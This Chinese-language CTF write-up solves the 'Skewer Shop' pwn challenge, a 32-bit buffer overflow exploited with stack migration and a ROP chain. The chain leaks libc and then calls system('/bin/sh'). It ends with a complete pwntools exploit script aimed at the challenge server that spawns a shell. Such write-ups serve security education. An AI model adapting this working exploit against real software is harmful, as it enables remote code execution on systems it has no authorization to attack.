# [CH] Skewer Shop ###### tags: `Writeup` `Pwn` `Chinese` > [name=Curious] ## 思路和解法 下載之後可以透過 `Makefile` 裡的編譯指令得知,`chal` 這個 binary 是 32 bits 且沒有 PIE 和 Canary 的。 再來分析 `chal.c` 後可以知道在 `read(0, buf, 0x20)` 這邊有一個小小的 Buffer Overflow,如果用 `objdump -d -M intel chal` 詳細看 `chal` 的 assembly 的話,可以發現 ![](https://hackmd.io/_uploads/ByQ_SNDHn.png) `read` 會從 `$ebp - 0x14` 的地方讀 0x20 個 bytes,大致上思考一下或是從提示中可以推測,這題應該是需要用到 ROP + Stack Migration 這兩個技巧,因為沒有 PIE,所以我們可以直接使用這個 binary 本身 `.text` 區段的 assembly 因為 BOF 的長度很短,所以首先要做的事就是 Stack Migration,而且要寫 ROP Chain 到 Stack Migrate 之後的位置。所以首先先看看可以把 Stack Migrate 到哪裡 如果用 GDB 把 `chal` 跑起來的話,可以看到 ![](https://hackmd.io/_uploads/rkcuv4Dr2.png) 可以看到 `0x804c000` - `0x804d000` 這一段有讀寫權限,我們可以取 `0x804d000 - 0x100` 做 Stack Migrate 的目標(之後稱這一段為 `buf1`) 再來因為要寫 ROP Chain 到 Stack Migrate 的位置,所以可以將 Stack 構造成 ``` ebp -> | buf1 | 0x080491eb | buf1 ``` 之後程式 `leave` 的時候就會把 `$ebp` 寫成 `buf1`,然後重新執行 ![](https://hackmd.io/_uploads/ByQ_SNDHn.png) 的 `push 0x0`,現在的 stack 長這樣 ``` esp -> | 0 | buf1 ``` 因為 `read` 會用到 3 個三數,然後如果仔細研究 Stack 的話,可以發現 `buf1` 後面的 4 bytes 是一個很大的數,所以 `call 0x8049050 <read@plt>` 的時候就會變成 `read(0, buf1, 很大的數)` 接著要構造 Stack Migrate 到 `buf1` 之後的 ROP Chain 這邊構造 ROP Chain 其實就有很多選擇,因為 ROP Chain 的長度就沒有限制,不過大致上都是要找到 libc 的位置,然後再 get shell。不過這邊還有一個問題就是 `chal` 本身自帶的 ROP gadget 只有 ![](https://hackmd.io/_uploads/rJDRsNvB3.png) 所以說我的構造方式是 ``` | buf2 ; 0x804d000 - 0x80 | puts_plt ; return 到 puts@plt 會等同直接 call puts@plt,但是沒有把 return addres push 到 stack 上 | pop_ebx_ret ; puts@plt 的 return ROP gadget | read_got ; puts@plt 的參數,用來 leak libc 的 | read_plt ; 接著從使用者那裡(使用者已經得到 libc),讀取第二段 Stack Migraate 的 ROP Chain | leave_ret ; Stack Migrate | 0 | buf2 | 0x80 ``` 之後的 ROP Chain 就直接 get shell 了 ``` | buf1 | system_addr ; libc 的 system function | leave_ret ; 沒啥意義,可以隨便放 | buf2 + 0x10. ; 指向 /bin/sh | b"/bin" | b"/sh\x00" ``` 構造完之後就要把所有位址或是 offset 找出來了,因為 `chal` 是在 docker 中執行,所以 libc 相關的 offset 就要到 docker 中的 libc 尋找 用 `docker compose up -d` 跑起來後,可以用 `docker ps` 查看 container 相關訊息 ![](https://hackmd.io/_uploads/r1ilkrPB2.png) 然後用 `docker exec -it <container_id> bash` 進入 docker container 中,移動到 `/home/chal` 後可以看到 `chal` 這個執行檔,用 `ldd chal` 查看它 import 的 library ![](https://hackmd.io/_uploads/ryUt1rPB3.png) 找到之後可以直接用 `objdump -T /lib32/libc.so.6 | grep <function name>` 去尋找 function 的 offset,這邊用 `system` 來舉例 ![](https://hackmd.io/_uploads/rJuGerDB2.png) 這樣就可以知道 `system` 的 offset 是 0x47cb0 最後就是把 solve script 寫出來就可以 get shell 然後拿到 flag 了。 Solve Script : ```python from pwn import * context.arch = 'i386' context.terminal = ['tmux', 'splitw', '-h'] buf1 = 0x804d000 - 0x100 buf2 = 0x804d000 - 0x80 read_plt = 0x8049050 read_got = 0x804c010 puts_plt = 0x8049060 leave_ret = 0x80491fd pop_ebx_ret = 0x08049022 r = remote('lotuxctf.com', 10001) r.recvline() r.send(b'a' * 0x14 + flat(buf1, 0x080491eb, buf1)) r.send(flat( buf2, puts_plt, pop_ebx_ret, read_got, read_plt, leave_ret, 0, buf2, 0x80 )) libc = u32(r.recv(4)) - 0x01084c0 info(f'libc : {hex(libc)}') system_addr = libc + 0x0047cb0 r.recv(8) r.send(flat( buf1, system_addr, leave_ret, buf2 + 0x10 ) + b'/bin/sh\x00') r.interactive() ``` {%hackmd M1bgOPoiQbmM0JRHWaYA1g %}